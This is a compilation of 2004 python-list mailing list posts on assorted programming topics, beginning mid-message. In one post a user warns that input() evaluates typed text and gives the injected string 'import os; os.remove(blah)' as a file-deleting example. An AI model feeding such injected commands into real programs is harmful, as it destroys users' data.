the customer.  Not only that but a catastrophic hardware failure
no longer brought down the whole system.  What was really amusing
to me is that TW and JMF had no idea what they'ld created.  The
first time I told them that a system would never ever have
to be rebooted, I grew two heads.  OTOH, it was impossible
to convince FS that a PM didn't have to be a system-wide PM.

I don't think we ever got that change permutated throughout the
org. 
>
>SMD filters were used at a quite high rate; even inside well 
>filtered rooms. ISTR 6 months was a pretty long interval between PM's. 

Our FS liked to have PMs done weekly and then a major PM done monthly.
I never had time to learn exactly what the procedures were.  They
were documented and laid out but I don't know what happened to
that info.

/BAH

Subtract a hundred and four for e-mail.


From ksenia at ksenia.nl  Thu Sep  9 06:25:49 2004
From: ksenia at ksenia.nl (Ksenia Marasanova)
Date: Thu, 09 Sep 2004 13:25:49 +0300
Subject: Question: tools for business apps development
In-Reply-To: <864d37090409081957306ecb59@mail.gmail.com>
References: <mailman.2847.1094238878.5135.python-list@python.org>
	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>
	<864d370904090606465938fea5@mail.gmail.com>
	<mailman.2980.1094568177.5135.python-list@python.org>
	<Xns955F1AEE4BA29JanC@213.118.38.197>
	<yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca>
	<864d37090409081957306ecb59@mail.gmail.com>
Message-ID: <9E9C46C0-024A-11D9-AF4C-000A957911BC@ksenia.nl>


Op 9-sep-04 om 5:57 heeft Carlos Ribeiro het volgende geschreven:
>> Suffice to say that while HTML+JavaScript can do the job,
>> in principle, in practice it falls short and Flash is
>> potentially a much more effective solution, at least for
>> now and the near future.
>
> I understand that some people really like Flash. It's nifty and
> powerful. And the CSS+HTML+JavaScript combination is slow, tricky,
> confusing, complex, etc. -- it's just asking for a redesign, but there
> is way too much code written for it to happen in any dramatic fashion.
> However, Flash is not an open standard, and that's a big problem. Who
> can guarantee that the upcoming versions of the Flash plugin will keep
> the same interface? It's a risk that you have to take into account.
>
Agreed, Flash is not an open standard, and this is a concern.
But I just want to remind, that if you are going to use JavaScript to 
code really responsive user interface - the big amount of this code 
will deal with non-standard  IE (and even Mozilla and other browsers) 
DOM/CSS implementations and bugs... and it can be really frustrating if 
you love standards:)

Here is a nice article about that (maybe a bit dated, but still...): 
http://evolt.org/article/Mission_Impossible_mouse_position/17/23335/

Ksenia.



From python at rcn.com  Wed Sep  1 15:18:01 2004
From: python at rcn.com (Raymond Hettinger)
Date: 1 Sep 2004 12:18:01 -0700
Subject: Give * operator "deep copy"
References: <f8097096.0408311154.ae06a5b@posting.google.com>
	<mailman.2704.1094000100.5135.python-list@python.org>
Message-ID: <5d83790c.0409011118.b852919@posting.google.com>

[Terry Reedy]
> 3. the mistake of taking 'container' too literally.  Tuples and lists are 
> like rosters, not rooms.  A student can only be in one room (at a time) but 
> can simultaneously be on the roster of multiples classes and clubs.  If, 
> for example, a student gets an honor, then every class and club 
> 'containing' that student now 'contains' an honored member.  What rosters 
> actually contain are some sort of identifier for each student, not the 
> students themselves.

This is an excellent metaphor.

I vote the second line as the QOTW.


Raymond


From benji at benjiyork.com  Thu Sep 23 23:19:09 2004
From: benji at benjiyork.com (Benji York)
Date: 23 Sep 2004 20:19:09 -0700
Subject: Access to MS SQL from Linux?
References: <F1921F85572CB04D9F55B14BDC76B3E4434AA9@iron.ima.umn.edu>
	<mailman.3767.1095930522.5135.python-list@python.org>
Message-ID: <c45e6536.0409231919.1e4f17b6@posting.google.com>

There is a very cool project called ODBTP (Open DataBase Transport
Protocol) at http://odbtp.sourceforge.net.  It consists of a service
that runs on a Windows server and connects to any ODBC data source
available on that machine.  You then use the ODBTP client to connect
to the service and send SQL commands and retrieve the results.

It's written in C and it includes a PHP module, but I've developed
Python bindings for it (following the DB API 2.0).  I've been trying
to contact the project leader to see if he would like to add it to the
project, but haven't been successfull yet.  If you're interested I'll
email you a copy (it's LGPL).  If there is more general interest, I'll
distribute it more widely.

--
Benji York
benji at benjiyork.com


From grante at visi.com  Mon Sep 20 23:37:16 2004
From: grante at visi.com (Grant Edwards)
Date: 21 Sep 2004 03:37:16 GMT
Subject: MAC address
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
	<mailman.3613.1095723708.5135.python-list@python.org>
	<414f7c66$0$60638$a1866201@newsreader.visi.com>
	<mailman.3616.1095729288.5135.python-list@python.org>
Message-ID: <414fa1ec$0$63273$a1866201@newsreader.visi.com>

On 2004-09-21, Ajay <abra9823 at mail.usyd.edu.au> wrote:

>> How are you going to avoid collisions?  I suppose it's a
>> sufficiently slim probability you can just ignore it.
>>
>>> also, is there an alternative way to anonymize a client?
>>
>> Not really, but how could your MAC address be traced to you,
>> anyway?
>
> i suppose i should clarify again that the question is not in
> the context of the Internet but a wireless LAN.

Right.

> within a LAN, if i were to open a socket connection with a
> server and send some data to it, the server would be able to
> pick up my MAC and IP address.

If the server is on the same LAN, yes.  If it's on the other
side of a router or firewall, no. That said, once the server
has your MAC, what's it going to do with it?  Is there some way
to trace that MAC to your name, address, and phone number?

> so what i want to do is to anonymize the MAC by picking a
> random (but valid) MAC address and using that. after that i
> will anonymize the IP.

Strictly speaking, the only MAC that is "valid" according to
the IEEE spec is the one the manufacturer put into it. However,
as long as you pick a MAC address that's not one of the special
ones (broadcast or multicast addresses), you can probably just
pick one at random.


-- 
Grant Edwards                   grante             Yow!  A can of ASPARAGUS,
                                  at               73 pigeons, some LIVE ammo,
                               visi.com            and a FROZEN DAQUIRI!!


From nicklaforge at gmail.com  Wed Sep  1 00:56:38 2004
From: nicklaforge at gmail.com (Nick LaForge)
Date: Tue, 31 Aug 2004 21:56:38 -0700
Subject: GUI Designer
In-Reply-To: <1fc0d98004083121552be79d02@mail.gmail.com>
References: <wU0Zc.9845$7i2.529166@news20.bellglobal.com>
	<yKadnRd9LtSYNancRVn-vQ@comcast.com> <87n00azme5.fsf@nezumi.home.spb>
	<1fc0d98004083121552be79d02@mail.gmail.com>
Message-ID: <1fc0d98004083121566aa43cad@mail.gmail.com>

If you like GTK+, you might want to try the glade designer and parse
the XML file with libglade and pygtk.  (Generated code is bad)

Remember, glade generates XML.  XML is not code, XML is data.  And
data is not code.  As long as you stay away from generated code, you
will be safe.  Yup, the best of two worlds -- a graphical form
designer that stores information in XML data to be parsed by your own
python program.



On Wed, 01 Sep 2004 07:41:22 +0400, Eugene Morozov <kaede.news at online.ru> wrote:
> Doug Holton <insert at spam.here> writes:
>
> > A.M wrote:
> >> Hi,
> >> Do we have any OpenSource GUI designer for Python ?
> >
> > It depends on whether you are running Windows or Linux/Mac, and what
> > GUI toolkit you want to use (wxpython, qt, gtk, tkinter,
> > windows.forms, etc.).
> >
> > If you are on Linux, a good GUI builder you might try is QT
> > Designer. There is a Windows version, too, but you only use it for
> > non-commercial development.  See http://developers.coedit.net/QtKde
> >
>
> I think that Qt Designer is not the best choice.  For
> example if you want to add widget in already designed
> layout, you'll have to break all layouts first and
> start packing widgets from scratch.
> Eugene
>
> --
> Email: eugene @ renice.org
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


--
Nick LaForge
Mystic0



-- 
Nick LaForge
Mystic0


From FBatista at uniFON.com.ar  Fri Sep 10 17:08:13 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Fri, 10 Sep 2004 18:08:13 -0300
Subject: dictionaries
Message-ID: <A128D751272CD411BC9200508BC2194D053C7939@escpl.tcp.com.ar>

[Steven Bethard]

#- Right idea, wrong type.  From the docs at:
#- 
#- http://docs.python.org/lib/built-in-funcs.html
#- 
#- ] input( [prompt]) 
#- ] 
#- ]      Equivalent to eval(raw_input(prompt)). 
#- 
#- This means that when you use input, it will convert the "1" 
#- typed at the 
#- prompt to the integer 1.  So your code should either be:
#- 
#- >>> d = {1:function1, 2:function2}
#- >>> x = input("1 or 2? ")
#- 1 or 2? 1
#- >>> d[x]()
#- function1
#- >>>

Be aware of the serious security issue here!

If the user instead of insert "1", inserts "import os; os.remove(blah)"?

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040910/b702a001/attachment.html>

From just at xs4all.nl  Tue Sep  7 03:49:16 2004
From: just at xs4all.nl (Just)
Date: Tue, 07 Sep 2004 09:49:16 +0200
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
	<1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>
	<mailman.2944.1094506599.5135.python-list@python.org>
	<1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com>
	<mailman.2955.1094538759.5135.python-list@python.org>
	<1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com>
	<mailman.2962.1094543082.5135.python-list@python.org>
Message-ID: <just-16DEDB.09491607092004@news1.news.xs4all.nl>

In article <mailman.2962.1094543082.5135.python-list at python.org>,
 Steven Bethard <steven.bethard at gmail.com> wrote:

> It would have made describing the protocol somewhat more complex, but it 
> would 
> have made using the protocol in a class simpler.  Moot point of course, since 
> I'm fully convinced that changing the protocol is infeasible. =)

Why on earth would you want to improve a protocol that's only there for 
legacy reasons, and has been replaced by something vastly better?

Just


From hubert at cs.nyu.edu  Fri Sep 17 01:15:18 2004
From: hubert at cs.nyu.edu (Hubert Hung-Hsien Chang)
Date: 16 Sep 2004 22:15:18 -0700
Subject: Question: processing HTML,
	re-write default processing  action of many tags
Message-ID: <98ba0902.0409162115.3e2e9ee9@posting.google.com>

I know you could use the 


def start_a
....

def end_a
....

to process the <a href=...> anchor </a> tags, but is there a 
default method for processing ALL tags? If I just want change 
some parts of the hyperlink and want to keep other parts of the HTML
could I just print them out? There should be such a method.
Can't find it...

Thank you.


From googlemike at hotpop.com  Thu Sep  2 11:15:49 2004
From: googlemike at hotpop.com (Google Mike)
Date: 2 Sep 2004 08:15:49 -0700
Subject: How do I set gtk.RadioButton font?
References: <25d8d6a8.0409011639.13f62d65@posting.google.com>
	<1094119810.190914@athnrd02>
Message-ID: <25d8d6a8.0409020715.c21b059@posting.google.com>

Nikos Kouremenos <nk at ebox.gr> wrote in message 
> GLADE XML is better (especially for such stuff)
> just enable the USE_MARKUP and then right in the "text"
> <small>YOU_TEXT</small>
> 
> here is a label of a quick label I clicked in GLADE, and glade wrote this:
> 
> 		<widget class="GtkLabel" id="label33">
> 		  <property name="visible">True</property>
> 		  <property name="label" translatable="yes">&lt;span 
> background=&quot;lightgreen&quot;&gt;&lt;big&gt;Welcome&lt;/big&gt;&lt;/span&gt;
> &lt;small&gt;&lt;span background=&quot;white&quot;&gt;If you change the 
> settings don't forget to Save &amp;amp; Activate in a 
> Profile!&lt;/span&gt;&lt;/small&gt;
> </property>
> 		  <property name="use_underline">False</property>
> 		  <property name="use_markup">True</property>
> 		  <property name="justify">GTK_JUSTIFY_CENTER</property>
> 		  <property name="wrap">False</property>
> 		  <property name="selectable">False</property>
> 		  <property name="xalign">0.5</property>
> 		  <property name="yalign">0.5</property>
> 		  <property name="xpad">0</property>
> 		  <property name="ypad">0</property>
> 		</widget>

Unfortunately this has no effect on a radiobutton item.


From steve at holdenweb.com  Mon Sep 27 09:50:37 2004
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 27 Sep 2004 09:50:37 -0400
Subject: Psycopg; How to detect row locking?
In-Reply-To: <415811D2.7070408@magproductions.nl>
References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> <m3y8iv3npy.fsf@g2ctech.com>
	<415811D2.7070408@magproductions.nl>
Message-ID: <lYU5d.804$TY2.351@lakeread04>

Alban Hertroys wrote:

> Jorge Godoy wrote:
> 
>> Are you manually locking those rows?  If so, you can maintain some
>> structure to keep track of locked rows.
> 
> 
> No, I don't. That may be a solution, though. Then at least I *know* when 
> a record is locked... But it's going to complicate things, if the 
> transaction is split among multiple threads... I'm not looking forward 
> to that.
> 
> I think the rows are locked because the inserts haven't finished 
> inserting yet. The select takes place in the same session AFAIK, but not 
> in the same thread of my Python application. I'm probably looking at a 
> race condition here... (Ain't multithreading fun...)
> 
> I'm also not sure whether I'm actually looking at the same transaction. 
> Is there a way to verify such?
> 
If all threads are using the same database connection then you need to 
make sure that psycopg is thread-safe, which some database modules are 
and some aren't.

> I do know for certain that all transactions use the same database 
> connection (I pass it along in a context object, together with config 
> settings and debugging methods). And I'm also quite sure that it doesn't 
> commit in between.
> 
If all threads are using the same database connection, even if you 
create multiple cursors, then you shouldn't have any locking issues 
because all threads are part of the same transaction.

>> If you are not locking, PostgreSQL uses MVCC where it locks as little as
>> possible and you are able to select the new data inside the same
>> transaction and old data outside of it (until it is commited).
> 
> 
> I suppose there must be a short while where the row is locked during the 
> insert, where I may already be trying to select it. If this is indeed 
> the case, I would expect to receive a "row is locked" type of error.
> 
This will perhaps depend on the isolation level you've selected. I'm 
sorry, I'm not a PostgreSQL user so I don't know the detail of what's 
available, but in many databases you can determine whether transactional 
changes are visible from other connections.

> Alternatively, the select may be waiting (w/in psql) until the insert 
> finished (which should be pretty soon in all cases[*]), but that depends 
> on implementations beyond my reach. Not that that matters, I shouldn't 
> have this problem in that case.
> 
> 
> [*] Unless you break your database with triggers that lock up or 
> something similar. That could be a reason for the PostgreSQL team to not 
>  let select wait until an insert on the same row finished, but to return 
> an error instead.

regards
  Steve



From carribeiro at gmail.com  Wed Sep 22 21:32:36 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 22 Sep 2004 22:32:36 -0300
Subject: python is going to die! =(
In-Reply-To: <m3pt4eqbp0.fsf@g2ctech.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de>
	<0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com>
	<cismee$9q9$1@nemesis.news.tpi.pl> <m3pt4eqbp0.fsf@g2ctech.com>
Message-ID: <864d3709040922183217afb3a9@mail.gmail.com>

On Wed, 22 Sep 2004 17:40:43 -0300, Jorge Godoy <godoy at ieee.org> wrote:
> [about data aware components for Delphi]
> What are you using to replace those in your wxPython apps?  I really
> don't know them and I am not being able to help him with that.

TTable and TQuery equivalents are really not needed for Python "per
se". DBAPI 2.0 (even incomplete) and libraries such as sqlobject blow
TDataset and related classes away for almost anything that I can
imagine -- unless, of course, it's something that has to work wit data
aware editing components. These are still to be matched. I've been
studying Dabo (it was announced in this list, you can check it at
http://dabodev.com), and they are working on a framework that in some
ways resembles something that can be done with Delphi, but their
approach is different. Report generation is also problematic -- the
last time I've checked a couple of years ago, ReportLab couldn't be
considered to be on par with Delphi's report libraries, but I don't
about the situation now.

> I've seen, though, the wxODBC family but he always tells me that there
> are several penalties in performance for not using the native drivers in
> critical applications...  What is your opinion about it?

Passing over layers and layers of abstraction before getting to the
database is always going to impose a performance hit. ODBC is also
known to be very bad in this respect, at least in the Windows world,
and as far as I know, nobody likes to use it unless absolutely needed
for compatibility reasons.

I never made any benchmark, but I *suspect* that Python DB code can be
surprisingly efficient when compared to Delphi code. Delphi DB library
is very well implemented, but Python may have an edge when it comes to
manipulation of large in memory structures; not that Delphi can't do
it, but because Python libraries are already highly optimized. If one
writes "pythonic" code -- taking advantage of stuff that Python does
well, such as list and mapping manipulation, then the performance gain
can be significant. On the other hand, if someone tries to write code
in Python that reads and works just like Delphi's code, then the
performance will suffer.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From brian at rk-speed-rugby.dk  Thu Sep  9 02:46:35 2004
From: brian at rk-speed-rugby.dk (Brian Elmegaard)
Date: 09 Sep 2004 08:46:35 +0200
Subject: ghostscript
References: <a1301a8e.0409071007.14ea6f5e@posting.google.com>
Message-ID: <uy8jkndmc.fsf@rk-speed-rugby.dk>

cjankowski at hbr-inc.com (Chris Jankowski) writes:

> os.system(ghost_dir + ' -dNOPAUSE -dQUIET -sBATCH -sDEVICE=%s
> -sOUTPUTFILE=%    s/page%%d.%s %s' % (device, outputdir,suffix,
> pdffile))

What about 
os.system('copy '+)
?

-- 
Brian (remove the sport for mail)
http://www.et.dtu.dk/staff/be


From vze4rx4y at verizon.net  Fri Sep 24 00:47:20 2004
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Fri, 24 Sep 2004 04:47:20 GMT
Subject: for_some(),for_all()?
References: <opseqmpvg86yt6e7@news.cisco.com><cisc33$hpi$1@pegasus.csx.cam.ac.uk>
	<2Pt4d.5569$sa.1897@trndny05>
	<mailman.3792.1095959172.5135.python-list@python.org>
Message-ID: <sFN4d.7212$sa.2016@trndny05>

> > For pure speed, the following is faster and gives short-circuit behavior:
> >
> > >>> from itertools import ifilter
> > >>> def any(seq, pred=None):
> > ...     for elem in ifilter(pred, seq):
> > ...         return True
> > ...     return False

[Steven Bethard]
> So, the other one also has short-circuit behavior:

Right.  It was the reduce(operator.__or__) version that didn't short-circuit.


> >>> def any(seq, pred=bool):
> ...     return True in imap(pred, seq)
> ...
> >>> def pred(x):
> ...     return x > 3
> ...
> >>> i = iter(range(10))
> >>> any(i, pred)
> True
> >>> list(i)
> [5, 6, 7, 8, 9]
>
> Could you explain what makes the second one faster?  I'm guessing it's
> something like that comparing True to each element in the iterable costs more
> than binding each element in the iterable to elem...?

Close.  The imap() version has two layers of iteration:

     for elem in seq:
          yield pred(elem)

     for elem in imapresults:
          if elem == True:
               return True
     return False

The ifilter() version has only one layer:

      for elem in seq:
            if pred(elem):
                  yield elem

Note, it make look like there is an outer layer in the ifilter() version, but
closer inspection shows that it never runs more than one iteration:

     for elem in ifilterresults:
            return True       # because this returns, the for never loops back
     return False



Raymond Hettinger




From tim.golden at viacom-outdoor.co.uk  Tue Sep 14 04:33:26 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: 14 Sep 2004 01:33:26 -0700
Subject: List domains on a windows network?
References: <ed7f588b.0409081938.4634c05c@posting.google.com>
Message-ID: <8360efcd.0409140033.656217e4@posting.google.com>

jakasspinguino at hotmail.com (Jason) wrote in message news:<ed7f588b.0409081938.4634c05c at posting.google.com>...
> Hi,
> 
> I'm looking for a way to enumerate the domains within my network.  I
> can find functions within the win32net library to enumerate computers
> within a given domain, but is there a way I can get a list of the
> domains themselves?
> 
> Thanks,
> Jason

You've probably found this out by now, but the following
code should do the business:

<code>

import win32com.client

for domain in win32com.client.GetObject ("WinNT:"):
  print domain.Name

</code>

TJG


From thorsten at thorstenkampe.de  Thu Sep 16 04:10:18 2004
From: thorsten at thorstenkampe.de (Thorsten Kampe)
Date: Thu, 16 Sep 2004 10:10:18 +0200
Subject: Overview of competing Python modules?
Message-ID: <111j51ljz6sur$.dlg@thorstenkampe.de>

Has anyone ever compiled an overview of competing Python modules?
Something like "there's the standard cvs module and the one from
pycvs.sourceforge.net but most people use cvs (or pycvs) because it's
<whatever>".

I'm particularly interested in competing modules for:

* CVS formatted files

* XML formatted files

* Database connectors to
    MySQL, PostgreSQL, Sybase, MSSQL and ODBC

    
Thanks, Thorsten


From Scott.Daniels at Acm.Org  Sun Sep 12 15:46:40 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Sun, 12 Sep 2004 12:46:40 -0700
Subject: Binding? problem
In-Reply-To: <cht54g0jhl@enews1.newsguy.com>
References: <cht54g0jhl@enews1.newsguy.com>
Message-ID: <4144ac84$1@nntp0.pdx.net>

Josh English wrote:
> I'm working on a Stack based language that can import methods from 
> predefined libraries. Here's what I mean....
> 
Tell us more about the problem you are trying to solve.  Normally you'd
do this on classes.  Why doesn't this work?:

     class S(object):
         def __init__(self, value):
             self.value = value

         def __repr__(self):
             return '%s(%r)' % (self.__class__.__name__, self.value)

     class Mixin_do_this(object):
         def do_this(self):
             self.s.value = 'this'

     class Runner(object):
         def __init__(self):
             self.s = S('whock')

         def __repr__(self):
             # self.s below, not self.S
             return '<%s %s>' % (self.__class__.__name__, self.s)

     class Runner2(Runner, Mixin_do_this): pass

     r2 = Runner2()
     print r2
     r2.do_this()
     print r2

-Scott David Daniels
Scott.Daniels at Acm.Org


From russblau at hotmail.com  Fri Sep 10 16:43:05 2004
From: russblau at hotmail.com (Russell Blau)
Date: Fri, 10 Sep 2004 16:43:05 -0400
Subject: Nested class structures
References: <Xns95607B54E1208OKB@130.133.1.4>
Message-ID: <2qehuqFub978U1@uni-berlin.de>

"OKB (not okblacke)" <BrenBarn at aol.com> wrote in message
news:Xns95607B54E1208OKB at 130.133.1.4...
>     For a variety of reasons, I'm interested in putting together some
> code that will allow me to created structures out of nested classes,
> something like:
>
> class class1:
>     def methA(self):
>         print "Some code here"
>     class class2:
>         propA = "A"
>         def methB(self):
>             print "Some more code here"
>     class class3:
>         # etc.
>         class class4:
>             pass
>             #etc
>
>     The main problem is that Python does not seem to provide enough
> information about the lexical context of definitions like this.  In
> particular, I would like the ability to have some of the nested classes
> be "anonymous" -- that is, I don't want to have to worry about choosing
> identifiers for them.  I'd LIKE to do this:
>
> class class1:
>     class anon: pass
>     class anon: pass
>     class anon: pass
>
>     . . . and somehow intercept or monitor the name-binding that's
> going on there so I wind up with three separate classes which are bound
> to uniquely named attributes of class1.  But I can't do this because
> each anon stomps on the previous name binding, and there doesn't seem to
> be a way to intervene and bind a new attribute in class1, because class1
> isn't really created until after all the nested class definitions
> happen.

I don't really understand what it is you are trying to do, but...

you can create an "anonymous" class object with:

type("anon", (object,), {})

This returns an object that is functionally identical to the object created
by:

class anon(object):
    pass

Of course, you'll need to store the returned object somewhere to do anything
useful with it.


-- 
I don't actually read my hotmail account, but you can replace hotmail with
excite if you really want to reach me.




From alanmk at hotmail.com  Sun Sep  5 09:02:04 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Sun, 05 Sep 2004 14:02:04 +0100
Subject: python from Java
In-Reply-To: <mailman.2892.1094385321.5135.python-list@python.org>
References: <mailman.2887.1094353612.5135.python-list@python.org>	<YIC_c.26633$Z14.8564@news.indigo.ie>
	<mailman.2892.1094385321.5135.python-list@python.org>
Message-ID: <H2E_c.26646$Z14.8654@news.indigo.ie>

[Ajay ]
 >>>can you call a Python application from a Java program?

[Alan Kennedy]
 >>Define what you mean by "call a python application".

[Ajay]
> they are on the same machine.
> basically there is an application that does some user modelling and its in
> Python. the application (bunch of .py scripts) have an interface that you
> use to access user models.

OK, so you have a cpython application which is already running on your 
PDA. Presumably this "interface" you mention is a graphical interface, 
i.e. GUI? What graphics toolkit is this GUI written with? TkInter?

> the java app will simply do some xml stuff at the end of which it will
> access the user model through the interface.

OK, so you want to process your (P3P?) xml files in java, which will 
extract data and then use that to somehow drive your cpython application?

> basically what i'd like to know is if i have
> #test.py
> def foo(blah):
>     return blah += 5

OK, doing the above would be easy, if you could run jython on your PDA. 
You would just use jython to interpret the function instead of cpython, 
and everything would live inside the same virtual machine, which would 
be nice and tidy.

However, it's very likely that your PDA has J2ME, i.e. Java 2 Micro 
Edition, in which case you won't be able to run jython, which requires 
facilities that J2ME doesn't support namely reflection. If you PDA has 
any other version of java, you could run jython.

But that wouldn't be any use to you in the case of your standalone 
cpython GUI application anyway, since it is pretty much guaranteed that 
the GUI code in your cpython code is cpython specific, and won't run on 
jython anyway.

> can i call foo from a Java class? more importantly what would i need to
> install on the machine to be able to do that. the machine in question is a
> PDA so there are some limitations on what can be installed and made to run
> on it. Python runs and so does Java.

Assuming that my assumptions about cpython GUIs and J2ME are correct, 
here are some options you might consider.

1. Somehow drive your cpython GUI by having your java program generate 
the relevant UI events, e.g. generate mouse-clicks, key-presses, etc. 
This is a common GUI testing technique. A product that does this on 
Windows is "autoit". I don't know if this will work on your windows PDA: 
if not there are probably similar products.

2. Connect your apps using something like pyro or CORBA. Pyro 
"transports function/method calls" over a socket, from a server to a 
client, and then returns the results over the same socket. If your PDA 
supported J2ME, you could use a pyro server on the cpython end, talking 
to a client on java end. But without J2ME, you can't use pyro on the 
client end. Which leaves CORBA, which should be well supported on both 
ends, but a bit more difficult to get your head around: i.e. you'll have 
a learning curve to climb to get it working. If this approach interests 
you, google "fnorb" or "omniorb python".

3. If CORBA is too complex for you, roll your own "wire protocol", 
basically your own simple protocol to communicate between cpython and 
java. Using this trategy, open some form of communication channel 
between the two programs, e.g. socket, pipe, fifo, etc, and send 
commands/messages between the two ends.

Having seen your posts here and on the Python-CE list over the last few 
days, I can see that this problem is proving complex for you. I would 
urge you to stop looking at every technology on your PDA and trying to 
figure out how to glue them together.

I think you should focus on being able to process your XML in cpython, 
i.e. try to keep all your technology in the same language and in the 
same process. You're overly complicating it otherwise.

I think the best solution for you is to use and event-based python 
parser to parse your XML. Event based-based parsing, e.g. SAX, is 
generally pretty quick, even when it is written in pure python. The 
slowness you have been experiencing (I saw 10 minutes for pxdom to parse 
your xml files?) is because you're trying to build a DOM, i.e. a 
Document Object Model. DOM's are *huge* memory hogs, requiring very 
substantial amounts of memory and cpu to build, and in most cases are 
completely unsuitable for the problem at hand.

What you should consider is building your own object model, based on the 
events generated by your SAX parser. Although this sounds hard, it is 
actually extremely easy, as this ActiveState cookbook entry shows.

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/149368

There are also multiple cpython products which will build a python 
object model from XML events: all of these should be comparatively cpu 
and memory efficient.

Objectify
http://gnosis.cx/download/gnosis/xml/objectify

Anobind
http://uche.ogbuji.net/tech/4Suite/anobind/

ElementTree
http://effbot.org/downloads/#elementtree

Try out an approach like the one above: it will greatly simplify your 
life. And it should be reasonably efficient in execution time.

If none of the above works for you, post back again.

regards,

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From dyoo at hkn.eecs.berkeley.edu  Tue Sep  7 21:11:49 2004
From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo)
Date: Wed, 8 Sep 2004 01:11:49 +0000 (UTC)
Subject: [ANNOUNCE] PyScheme 1.5 release
Message-ID: <mailman.3016.1094615536.5135.python-announce-list@python.org>


PyScheme is a small implementation of the Scheme programming language.
The 1.5 release can be found here:

    http://hkn.eecs.berkeley.edu/~dyoo/python/pyscheme/

PyScheme is in pure Python, and has been written (somewhat) careful to
try to avoid eating up too much of the stack, even if given unusual
input.


It provides some of the core features in Scheme:

###
>>> import pyscheme.scheme
>>> pyscheme.scheme.repl(pyscheme.scheme.AnalyzingInterpreter())
Welcome to PyScheme!  Type: (QUIT) to quit.

[PyScheme] >>> (define (map f l)                  
[......1)] >>>    (if (null? l)    
[......2)] >>>        '()
[......2)] >>>        (cons (f (car l))
[......3)] >>>              (map f (cdr l)))))
ok
[PyScheme] >>> (map (lambda (x) (* x x)) '(1 2 3 4 5 6 7 8 9 10))
(1 4 9 16 25 36 49 64 81 100)
###


And it also includes CALL/CC.  People can play around with
continuations in the comfort of the Python interpreter:

###
>>> from pyscheme.scheme import AnalyzingInterpreter
>>> interp = AnalyzingInterpreter()
>>> from pyscheme.parser import parse as p
>>> interp.eval(p("(define k '())"))
'ok'
>>> interp.eval(p("""
...     (+ 5 (call/cc (lambda (k1) (set! k k1) 0)))
... """))
5
>>> interp.eval(p("(k 7)"))
12
###


I'll be giving a small presentation about PyScheme in the next
Baypiggies meeting on Thursday, September 9th, and I'll put up the
notes of that presentation online, as soon as I'm done writing them.
*grin*


I hope this helps!


From benevilent at optusnet.com.au  Sun Sep 19 14:28:45 2004
From: benevilent at optusnet.com.au (benevilent at optusnet.com.au)
Date: Mon, 20 Sep 2004 04:28:45 +1000
Subject: memory allocation
References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au>
Message-ID: <pan.2004.09.19.18.28.33.473150@optusnet.com.au>

My latest understanding is that the default memory allocation will result
in arenas being created to fulfill the maximum memory requirements of the
program. If memory is freed, the program still occupies the amount of
memory occupied by these arenas. If allocations can be fulfilled without
creating new arenas, then no additional memory will be required. Hence as
time goes by the memory required by the program increases (assuming
increasing memory requirements of the application), and it will not
dynamically expand and contract with the memory allocations/deallocations
as you would expect with an ordinary program. Is my understanding of this
correct?

On Sun, 19 Sep 2004 21:21:21 +1000, benevilent at optusnet.com.au wrote:

> Hey,
> 
> I'm trying to debug the memory allocation in an embedded use of the
> Python interpreter.
> 
> The longer I leave my program running the more memory it consumes. The
> total number of objects in the system is not increasing (many are being
> allocated and deallocated).
> 
> Using mtrace I have established that the only memory which is not being
> freed is that which is allocated at Objects/obmalloc.c:429. It appears to
> be allocating new arenas in proportion to it's running time.
> 
> I don't have an in-depth understanding of Python's object allocator. Does
> anybody have any ideas as to what the problem may be?
> 
> Thanks,
> Laurie



From aleaxit at yahoo.com  Wed Sep  8 11:42:53 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 8 Sep 2004 17:42:53 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<864d370904090413356356d84d@mail.gmail.com>
	<CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com>
	<mailman.2907.1094416926.5135.python-list@python.org>
	<1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com>
